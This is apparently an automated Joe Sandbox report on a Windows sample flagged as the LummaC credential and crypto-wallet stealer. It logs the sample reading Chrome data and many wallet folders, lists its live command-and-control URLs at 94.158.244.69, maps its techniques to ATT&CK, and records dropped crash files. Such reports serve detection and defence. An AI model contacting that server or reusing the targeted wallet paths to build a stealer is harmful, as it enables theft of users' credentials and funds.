Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior

Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Directory queried: C:\Users\user\Documents	Jump to behavior

Source: Yara match

File source: Process Memory Space: g1kWKm20Z5.exe PID: 1352, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: 0.3.g1kWKm20Z5.exe.23a0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.g1kWKm20Z5.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.g1kWKm20Z5.exe.23a0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.g1kWKm20Z5.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.3614139526.0000000002330000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.3612525483.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1693318740.00000000023A0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.3613161605.0000000000A5A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: g1kWKm20Z5.exe PID: 1352, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	21 Native API	1 LSASS Driver	1 Process Injection	32 Virtualization/Sandbox Evasion	1 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	2 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 DLL Side-Loading	1 LSASS Driver	1 Process Injection	LSASS Memory	471 Security Software Discovery	Remote Desktop Protocol	31 Data from Local System	1 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	Security Account Manager	32 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	11 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	2 Obfuscated Files or Information	NTDS	2 Process Discovery	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	2 Software Packing	LSA Secrets	1 Account Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	1 System Owner/User Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	11 File and Directory Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	113 System Information Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
g1kWKm20Z5.exe	89%	ReversingLabs	Win32.Trojan.Smokeloader
g1kWKm20Z5.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
http://94.158.244.69/c2sock6	0%	Avira URL Cloud	safe
http://94.158.244.69/c2sock3	0%	Avira URL Cloud	safe
http://94.158.244.69/V	0%	Avira URL Cloud	safe
http://94.158.244.69/c2sockj	0%	Avira URL Cloud	safe
http://94.158.244.69/c2sockh	0%	Avira URL Cloud	safe
http://94.158.244.69/l	0%	Avira URL Cloud	safe
http://94.158.244.69/D	0%	Avira URL Cloud	safe
http://94.158.244.69/c2sock?	0%	Avira URL Cloud	safe
http://94.158.244.69/c2sockMY	0%	Avira URL Cloud	safe
http://94.158.244.69/C	0%	Avira URL Cloud	safe
http://94.158.244.69/c2sockM	0%	Avira URL Cloud	safe
http://94.158.244.69/H	0%	Avira URL Cloud	safe
http://94.158.244.69/Q	0%	Avira URL Cloud	safe

Name	Malicious	Antivirus Detection	Reputation
http://94.158.244.69/c2sock	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://94.158.244.69/c2sock6	g1kWKm20Z5.exe, 00000000.00000002.3612917620.0000000000906000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/chrome_newtab	g1kWKm20Z5.exe, 00000000.00000002.3613161605.0000000000A40000.00000004.00000020.00020000.00000000.sdmp, g1kWKm20Z5.exe, 00000000.00000003.2171988651.0000000000A40000.00000004.00000020.00020000.00000000.sdmp	false		high
http://94.158.244.69/c2sock3	g1kWKm20Z5.exe, 00000000.00000002.3612917620.0000000000906000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/ac/?q=	g1kWKm20Z5.exe, 00000000.00000002.3613161605.0000000000A40000.00000004.00000020.00020000.00000000.sdmp, g1kWKm20Z5.exe, 00000000.00000003.2171988651.0000000000A40000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	g1kWKm20Z5.exe, 00000000.00000002.3613161605.0000000000A40000.00000004.00000020.00020000.00000000.sdmp, g1kWKm20Z5.exe, 00000000.00000003.2171988651.0000000000A40000.00000004.00000020.00020000.00000000.sdmp	false		high
http://94.158.244.69/V	g1kWKm20Z5.exe, 00000000.00000002.3612917620.0000000000919000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://94.158.244.69/c2sockj	g1kWKm20Z5.exe, 00000000.00000002.3613161605.0000000000A5A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://94.158.244.69/c2sockMY	g1kWKm20Z5.exe, 00000000.00000002.3616223948.0000000003348000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://94.158.244.69/c2sockh	g1kWKm20Z5.exe, 00000000.00000002.3612917620.0000000000906000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	g1kWKm20Z5.exe, 00000000.00000002.3613161605.0000000000A40000.00000004.00000020.00020000.00000000.sdmp, g1kWKm20Z5.exe, 00000000.00000003.2171988651.0000000000A40000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.rootca1.amazontrust.com/rootca1.crl0	g1kWKm20Z5.exe, 00000000.00000002.3616223948.00000000030FD000.00000004.00000020.00020000.00000000.sdmp	false		high
http://upx.sf.net	Amcache.hve.7.dr	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	g1kWKm20Z5.exe, 00000000.00000002.3613161605.0000000000A40000.00000004.00000020.00020000.00000000.sdmp, g1kWKm20Z5.exe, 00000000.00000003.2171988651.0000000000A40000.00000004.00000020.00020000.00000000.sdmp	false		high
http://ocsp.rootca1.amazontrust.com0:	g1kWKm20Z5.exe, 00000000.00000002.3616223948.00000000030FD000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	g1kWKm20Z5.exe, 00000000.00000003.2171988651.00000000009E5000.00000004.00000020.00020000.00000000.sdmp, g1kWKm20Z5.exe, 00000000.00000002.3613161605.0000000000A24000.00000004.00000020.00020000.00000000.sdmp, g1kWKm20Z5.exe, 00000000.00000003.2171988651.0000000000A24000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	g1kWKm20Z5.exe, 00000000.00000003.2171988651.00000000009E5000.00000004.00000020.00020000.00000000.sdmp, g1kWKm20Z5.exe, 00000000.00000002.3613161605.0000000000A24000.00000004.00000020.00020000.00000000.sdmp, g1kWKm20Z5.exe, 00000000.00000003.2171988651.0000000000A24000.00000004.00000020.00020000.00000000.sdmp	false		high
http://94.158.244.69/c2sock?	g1kWKm20Z5.exe, 00000000.00000002.3613161605.0000000000A5A000.00000004.00000020.00020000.00000000.sdmp, g1kWKm20Z5.exe, 00000000.00000002.3613161605.0000000000990000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.ecosia.org/newtab/	g1kWKm20Z5.exe, 00000000.00000002.3613161605.0000000000A40000.00000004.00000020.00020000.00000000.sdmp, g1kWKm20Z5.exe, 00000000.00000003.2171988651.0000000000A40000.00000004.00000020.00020000.00000000.sdmp	false		high
http://94.158.244.69/l	g1kWKm20Z5.exe, 00000000.00000002.3612917620.0000000000919000.00000004.00000020.00020000.00000000.sdmp, g1kWKm20Z5.exe, 00000000.00000002.3612917620.00000000008F8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	g1kWKm20Z5.exe, 00000000.00000002.3619351891.0000000003BD0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ac.ecosia.org/autocomplete?q=	g1kWKm20Z5.exe, 00000000.00000002.3613161605.0000000000A40000.00000004.00000020.00020000.00000000.sdmp, g1kWKm20Z5.exe, 00000000.00000003.2171988651.0000000000A40000.00000004.00000020.00020000.00000000.sdmp	false		high
http://94.158.244.69/D	g1kWKm20Z5.exe, 00000000.00000002.3612917620.0000000000919000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://94.158.244.69/C	g1kWKm20Z5.exe, 00000000.00000002.3612917620.0000000000919000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://94.158.244.69/c2sockM	g1kWKm20Z5.exe, 00000000.00000002.3612917620.0000000000906000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://x1.c.lencr.org/0	g1kWKm20Z5.exe, 00000000.00000002.3616223948.00000000030FD000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	g1kWKm20Z5.exe, 00000000.00000002.3616223948.00000000030FD000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install	g1kWKm20Z5.exe, 00000000.00000003.2171988651.00000000009FF000.00000004.00000020.00020000.00000000.sdmp, g1kWKm20Z5.exe, 00000000.00000002.3613161605.00000000009C0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	g1kWKm20Z5.exe, 00000000.00000002.3613161605.0000000000A40000.00000004.00000020.00020000.00000000.sdmp, g1kWKm20Z5.exe, 00000000.00000003.2171988651.0000000000A40000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crt.rootca1.amazontrust.com/rootca1.cer0?	g1kWKm20Z5.exe, 00000000.00000002.3616223948.00000000030FD000.00000004.00000020.00020000.00000000.sdmp	false		high
http://94.158.244.69/Q	g1kWKm20Z5.exe, 00000000.00000002.3612917620.0000000000919000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://94.158.244.69/	g1kWKm20Z5.exe, 00000000.00000002.3612917620.0000000000919000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	g1kWKm20Z5.exe, 00000000.00000003.2171988651.00000000009FF000.00000004.00000020.00020000.00000000.sdmp, g1kWKm20Z5.exe, 00000000.00000002.3613161605.00000000009C0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.mozilla.org/products/firefoxgro.all	g1kWKm20Z5.exe, 00000000.00000002.3619351891.0000000003BD0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	g1kWKm20Z5.exe, 00000000.00000002.3613161605.0000000000A40000.00000004.00000020.00020000.00000000.sdmp, g1kWKm20Z5.exe, 00000000.00000003.2171988651.0000000000A40000.00000004.00000020.00020000.00000000.sdmp	false		high
http://94.158.244.69/H	g1kWKm20Z5.exe, 00000000.00000002.3612917620.0000000000919000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
94.158.244.69	unknown	Moldova Republic of		39798	MIVOCLOUDMD	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1555041
Start date and time:	2024-11-13 10:50:09 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 59s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	9
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	g1kWKm20Z5.exe renamed because original name is a hash value
Original Sample Name:	6b3ef3a90ba62f467b95d06765ab128bfec21ea012fd4f1e0927ca0d09169d86.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@2/5@0/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 95% Number of executed functions: 59 Number of non-executed functions: 104
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240s for sample files taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 20.42.73.29
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, login.live.com, blobcollector.events.data.trafficmanager.net, onedsblobprdeus15.eastus.cloudapp.azure.com, ctldl.windowsupdate.com, umwatson.events.data.microsoft.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing disassembly code.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: g1kWKm20Z5.exe

Simulations

Behavior and APIs

Time	Type	Description
04:54:14	API Interceptor	1x Sleep call for process: WerFault.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
94.158.244.69	RX7nieXlNm.exe	Get hash	malicious	LummaC Stealer	Browse	94.158.244.69/c2sock
	5M5e9srxkE.exe	Get hash	malicious	LummaC Stealer	Browse	94.158.244.69/c2sock
	dV01QsYySM.exe	Get hash	malicious	LummaC Stealer	Browse	94.158.244.69/c2sock
	BeO2C8S5Ly.exe	Get hash	malicious	LummaC Stealer	Browse	94.158.244.69/c2sock
	ToNaCrWjm7.exe	Get hash	malicious	LummaC Stealer	Browse	94.158.244.69/c2sock
	IVN6n1kO22.exe	Get hash	malicious	LummaC Stealer	Browse	94.158.244.69/c2sock
	Mc8s3us2xa.exe	Get hash	malicious	LummaC Stealer	Browse	94.158.244.69/c2sock
	SMZP2H8p7i.exe	Get hash	malicious	LummaC Stealer	Browse	94.158.244.69/c2sock
	qh0kepGznl.exe	Get hash	malicious	LummaC Stealer	Browse	94.158.244.69/c2sock

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
MIVOCLOUDMD	RX7nieXlNm.exe	Get hash	malicious	LummaC Stealer	Browse	94.158.244.69
	5M5e9srxkE.exe	Get hash	malicious	LummaC Stealer	Browse	94.158.244.69
	dV01QsYySM.exe	Get hash	malicious	LummaC Stealer	Browse	94.158.244.69
	BeO2C8S5Ly.exe	Get hash	malicious	LummaC Stealer	Browse	94.158.244.69
	ToNaCrWjm7.exe	Get hash	malicious	LummaC Stealer	Browse	94.158.244.69
	IVN6n1kO22.exe	Get hash	malicious	LummaC Stealer	Browse	94.158.244.69
	Mc8s3us2xa.exe	Get hash	malicious	LummaC Stealer	Browse	94.158.244.69
	SMZP2H8p7i.exe	Get hash	malicious	LummaC Stealer	Browse	94.158.244.69
	qh0kepGznl.exe	Get hash	malicious	LummaC Stealer	Browse	94.158.244.69
	WindowsUPD.ps1	Get hash	malicious	Unknown	Browse	94.158.244.69

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_g1kWKm20Z5.exe_a17a8fe720c9a7565be7f83fdfcc5dd30f1751_239bb738_1ece0bb0-e076-4511-a73b-9cacc3992694\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.8418074565782038
Encrypted:	false
SSDEEP:	96:0J4RJcFrBtQs8hc27Z9uQXIDcQvc6PcEfcw3/b+HbHg/PB6HeaZFEOyKZoxm6J+f:3RSpBtQt0RLVsjxyzuiFZZ24IO8P
MD5:	F31165B79C97B86DFFF48EA97E6F7D5C
SHA1:	DC8ED85DCE916F9AA5D8D16BACD1E5D1A6C8CD9A
SHA-256:	6555CA4E6F598004E4D51DB162587C84F420D0247C1A115A095E8E550AD69E41
SHA-512:	FED5DC03A32E6D0166B81E94EBB4FBA08E84DC835BFA5760EB14628E69E0D6F95A70F1D22EA005205AE5E1C1A1A445DA3DE55CE8C2BDECE440D718327299A9E1
Malicious:	true
Reputation:	low
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.5.9.6.5.2.3.5.5.4.3.3.1.3.7.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.5.9.6.5.2.3.5.9.4.9.5.7.2.9.....R.e.p.o.r.t.S.t.a.t.u.s.=.6.5.5.4.5.6.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.1.e.c.e.0.b.b.0.-.e.0.7.6.-.4.5.1.1.-.a.7.3.b.-.9.c.a.c.c.3.9.9.2.6.9.4.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.2.3.5.a.f.1.2.9.-.f.e.7.7.-.4.a.6.6.-.9.a.f.b.-.3.1.e.9.f.7.5.f.d.d.b.5.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.g.1.k.W.K.m.2.0.Z.5...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.0.5.4.8.-.0.0.0.1.-.0.0.1.4.-.d.5.6.d.-.8.2.8.c.b.1.3.5.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.e.1.d.4.a.6.2.1.8.5.2.9.4.7.b.3.c.8.e.1.f.2.7.5.8.5.1.b.b.d.4.3.0.0.0.0.f.f.f.f.!.0.0.0.0.a.2.d.7.2.2.7.2.0.5.6.5.a.b.8.6.5.9.c.0.6.6.a.a.f.6.9.3.f.5.b.2.a.d.8.f.b.3.d.3.!.g.1.k.W.K.m.2.0.Z.5...e.x.e.....T.a.r.g.e.t.A.p.p.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERAD8D.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 15 streams, Wed Nov 13 09:53:55 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	40132
Entropy (8bit):	2.5044018772735157
Encrypted:	false
SSDEEP:	192:0Srk7X8jwkvHgO2hCy/wnuYg/UKrtY5F3+VVnx9Tb7yP/JBR28s:31jJvX2hCtnuYMrtY5cnx9jaPns
MD5:	AE75A8DF9791E31C863AA8D986348F05
SHA1:	61837D2CF55B7BCB19638C89DF654FCAADECAA12
SHA-256:	D5BE6679C0E14C10B082A91131E7A6047C59D1E3B8F668CF3A606906B27585E2
SHA-512:	5FD70E051036F27BF74EC90159B5A47E0758AC39A9A4BB6498F89A9F87FD95975123251F0D58D3D9A4463FCB1C382AC611A67A73271602FCFC6ADEB521663A9D
Malicious:	false
Reputation:	low
Preview:	MDMP..a..... .......3w4g............4...............H.......<...........T...."..........`.......8...........T...........P=..t_..........L...........8...............................................................................eJ..............GenuineIntel............T.......H....v4gM............................0..2...........,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.......................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERAE39.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8334
Entropy (8bit):	3.698588280417024
Encrypted:	false
SSDEEP:	192:R6l7wVeJt46Iv6Y9tSU8cgmfvNpDT89bTBsfVS1xm:R6lXJC6Iv6YHSU8cgmfv8T6fwa
MD5:	C1407B466A6CDF6F7938363AFA9D3338
SHA1:	7A19203B0982B7ADE05352779138B60F7D6EDB93
SHA-256:	1930321C6E2AA04BBA2BF5823BBCD541F530EE65DBEEA5FAF13144B6F22E5961
SHA-512:	116A8EEB6CD712EC1945A97ED5AC6E95578F5D55172424DDEB7EEDC635126BFD99AACF902E88572AD8E9E215E4F0D4BE4379519CBCAD7050357276E260862BB1
Malicious:	false
Reputation:	low
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.1.3.5.2.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERAE5A.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4579
Entropy (8bit):	4.466967220325166
Encrypted:	false
SSDEEP:	48:cvIwWl8zsrJg77aI9liWpW8VYZYm8M4JVW+oFLhd+q8vgimoHbE+lWd:uIjfFI7fj7VtJ8+IfWzmoHbE+lWd
MD5:	C3965C8AC1FB1101B4C6B205BD582C1A
SHA1:	2207B1933FFE370EB42976E4522FA7F5905929EA
SHA-256:	E448414639D692F78D7343186E7A4CBB24BFAA2A53EE9B6D9271101B8AA78193
SHA-512:	2498B32E79E54C0411F8282ED36C1ED11382500A5F82081F78F2FF52327C78C688F45CEDE4158347F80DA2BDA63C25D807FC19E893393B2A1542F01EDDF502D7
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="586136" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\Windows\appcompat\Programs\Amcache.hve

Download File

